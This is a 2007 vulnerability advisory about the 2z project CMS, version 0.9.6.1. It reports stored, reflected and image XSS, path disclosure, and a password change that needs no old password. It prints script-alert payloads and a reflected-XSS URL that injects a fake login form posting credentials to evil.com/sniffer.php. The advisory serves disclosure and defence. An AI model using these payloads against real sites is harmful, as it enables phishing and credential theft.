Digital Security Research Group [DSecRG] Advisory Name: 2z project Systems Affected: 2z project 0.9.6.1 Vendor URL: http://2z-project.ru Authors: Alexandr Polyakov, Stas Svistunovich Digital Security Reasearch Group [DSecRG] (research [at] dsec [dot] ru) Reported: 27.12.2007 Vendor response: 27.12.2007 Date of Public Advisory: 28.12.2007 Description *********** 2z system has multiple security vulnerabilities: 1. Stored XSS 2. Linked XSS 3. Image XSS 4. Path disclosure 5. Vulnerable Password changing algorithm Details ******* 1. Multiple Stored XSS 1.1 Vulnerability in script http://[server]/[installdir]/?action=addnews in post parameters: parameter name = contentshort parameter name = contentfull Example: contentshort=<script>alert('DSecRG XSS')</script> contentfull=<script>alert('DSecRG XSS')</script> 1.2 Vulnerability in script http://[server]/[installdir]/2z/admin.php?mod=pm&action=write parameter name = content Example: content=<script>alert('DSecRG XSS')</script> --------------------------------------------------- 2. Linked XSS Vulnerability in page index.php. Working only if user not logged in. So it can be used for Phishing (see Example). Template /templates/default/usermenu.tpl have vulnetability parameter "referer". This template included to index.php, so it can be used for Phishing. Source code of usermenu.tpl: --------------------------------------- <form name="login" method="post" action="" id="login"> <input type="hidden" name="referer" value="{request_uri}" /> <-- html code injected into {request_uri} <input type="hidden" name="action" value="dologin" /> .. <input onfocus="if (!set_login){set_login=1;this.value='';}" value="{l_name}" class="mw_login_form" type="text" name="username" maxlength="60" size="25" /> .. <input onfocus="if(!set_pass){set_pass=1;this.value='';}" value="{l_password}" class="mw_login_form" type="password" name="password" maxlength="20" size="25" /> .. </from> --------------------------------------- Example: http://[server]/[installdir]/?"/><form/name="login"/method="post"/action ="http://evil.com/sniffer.php"/id="login"><input/type="hidden"/name="ref erer"/value=" http://[server]/[installdir]/index.php?"/><form/name="login"/method="pos t"/action="http://evil.com/sniffer.php"/id="login"><input/type="hidden"/ name="referer"/value=" ------------------------------------------------- 3. Image XSS Vulnetability in page /2z/?action=profile Attacker can upload avatar and photo contained a XSS code. Vulnerable parameters: newavatar, newphoto For more information see http://www.dsec.ru/about/articles/web_xss/ (in russian) ------------------------------------------------- 4. Path disclosure By exploiting this issue, an attacker may gain sensitive information on the directory structure of the server machine, which allows for further attacks against the site. Example: http://[server]/[installdir]/index.php?template=test http://[server]/[installdir]/?year=1234&month=06 ------------------------------------------------- 5. Password changing vulnerabiluity Old password not needed to change password. ------------------------------------------------- About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian)